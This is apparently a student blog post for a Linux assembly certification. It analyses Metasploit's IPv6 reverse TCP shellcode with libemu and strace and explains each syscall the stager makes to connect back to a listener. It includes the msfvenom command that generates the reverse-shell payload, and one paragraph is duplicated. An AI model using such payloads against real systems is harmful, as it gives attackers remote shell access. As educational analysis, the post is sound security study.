Art of ShellCoding: Metasploit IPv6 Reverse TCP Shellcode Analysis
Most of us have worked a lot with IPv4 payloads and shellcodes. Let us see how different is Metasploit IPv6 Shellcode and how does it work. In this post, we will make use of libemu to conduct out our analysis on the IPV6 Reverse TCP shellcode. We will also use strace to aid our analysis. Throughout the analysis, our agenda is to figure out the key differences between an IPv4 and IPv6 shellcode. We will try to figure out the differences between the two. So let's get started. Let's Generate the shellcode with msfvenom using the following command in conjunction with sctests from libemu:
msfvenom -p linux/x86/shell/reverse_ipv6_tcp LHOST=::1 LPORT=4444 -f raw | /opt/libemu/bin/sctest -vvv -Ss 10000
We will have the following output:
We can see that we have two systems calls in this shellcode. The first is the socket setup and the next one is connect. We can use libemu with the -G option to create a dot based graphics file which simplifies things for us. The dot graph file can then be converted into a PNG image using the dot utility in linux. Let us see the obtained PNG as follows:
Let's analyze the above flow diagram. In the very first block, We start by clearing out EBX register which means that now EBX contains 0. We push this value onto the stack. Next, we increment EBX register making its value as 1 and push it again to the stack. Next, we push 10 onto the stack. Hence the stack (from the top) becomes a structure like {10,1,0}. In the next step, we simply point this structure to ECX. Hence ECX now contains the address of the structure we created above. The structure consists of very similar values as in the first screenshot. This means 0 points to the protocol(0), 1 to the type and 10 as the domain, i.e., AF_INET6(IPv6). Type 1 denotes SOCK_STREAM. Next, we simply perform a push-pop to EAX with the syscall number 0x66 that denotes socketcall.
Hence, we have EAX: 0x66 , EBX: 0x1, ECX:{10,1,0} and we issue the interrupt. The arrangement will issue a socketcall of type SYS_SOCKET with the domain as 10 (IPV6) and type as SOCK_STREAM.
The result of the above syscall will be stored to EAX. Hence, we perform an XCHG operation to move the value to ESI. Next, we issue a CWD (Convert to DWORD) which will extend EAX to EDX. Hence clearing out values in EDX as well.
Next, we will setup connect system call. For the connect system call to work, we require 0x66 in EAX register denoting the socketcall, 0x3 in EBX register and ECX pointing to the stack structure.
Talking about the structure, we will require the following structure pointed to by the ECX register( I found the following structure using strace):
{sa_family=AF_INET6, sin6_port=htons(4444), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}
Hence, the first part is to set up the inet_pton structure and then embed it as a part of the full structure. We start by setting up the values for sin6_addr to 0 using push dword 0 and similarly setting up ::1 address and AF_INET6 as 0x5c11000a. Setting up this structure, We move the stack pointer to ECX and begin setting up rest of the remaining values.
Next three push operations will make the new structure as {Result from the previous system call, Current Pointer in ECX, 28}. Hence, we push ECX after pushing 28(length) and ESI register, since it holds the result sockfd from the previous call. Next, we just need to point this current structure in ECX, Increment EBX to 3(Connect syscall), 0x66(socketcall) in EAX and issue the interrupt.
Next three push operations will make the new structure as {Result from the previous system call, Current Pointer in ECX, 28}. Hence, we push ECX after pushing 28(length) and ESI register, since it holds the result sockfd from the previous call. Next, we just need to point this current structure in ECX, Increment EBX to 3(Connect syscall), 0x66(socketcall) in EAX and issue the interrupt.
ssize_t read(int fd, void *buf, size_t count);
Therefore, in the shellcode, we have EAX with 0x3(sys_read), EBX with file descriptor by moving it to EBX from ESI. Next, We move 0xc to DH which will set EDX with a huge value for the length.
Note: ECX register remains unchanged, and we issue the interrupt.
Throughout this exercise, we saw that there isn't much difference between IPv4 and IPv6 reverse TCP shellcodes. The only changes are the domain value and address of the host. The logic of the connection remains the same. Nothing fancy!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student-ID: SLAE-1080
No comments: